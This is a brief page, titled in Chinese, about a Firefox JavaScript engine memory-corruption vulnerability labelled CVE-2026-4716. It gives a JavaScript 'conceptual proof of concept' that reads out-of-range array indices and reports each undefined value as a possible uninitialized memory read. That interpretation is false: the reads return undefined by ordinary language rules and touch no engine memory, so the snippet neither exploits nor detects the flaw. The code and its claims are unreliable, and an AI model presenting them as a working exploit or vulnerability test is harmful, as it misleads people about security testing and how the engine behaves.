CVE-2026-4716 Firefox JavaScript引擎内存破坏漏洞

/** * Conceptual Proof of Concept for CVE-2026-4716 * Vulnerability: Incorrect boundary conditions / Uninitialized memory * Component: JavaScript Engine */ function trigger_vuln() { // Create a buffer to manipulate memory layout let arr = new Array(1000); // Attempt to trigger boundary condition issue for (let i = 0; i < 2000; i++) { // Accessing out-of-bounds or uninitialized index let val = arr[i - 500]; if (val === undefined) { // Potential uninitialized memory read point console.log("Potential uninitialized memory read at offset: " + i); } } } trigger_vuln();